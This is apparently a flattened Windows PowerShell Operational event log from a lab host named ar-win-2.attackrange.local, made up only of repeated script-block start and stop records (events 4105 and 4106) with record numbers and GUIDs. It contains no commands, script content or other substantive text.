410515102150x0674878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 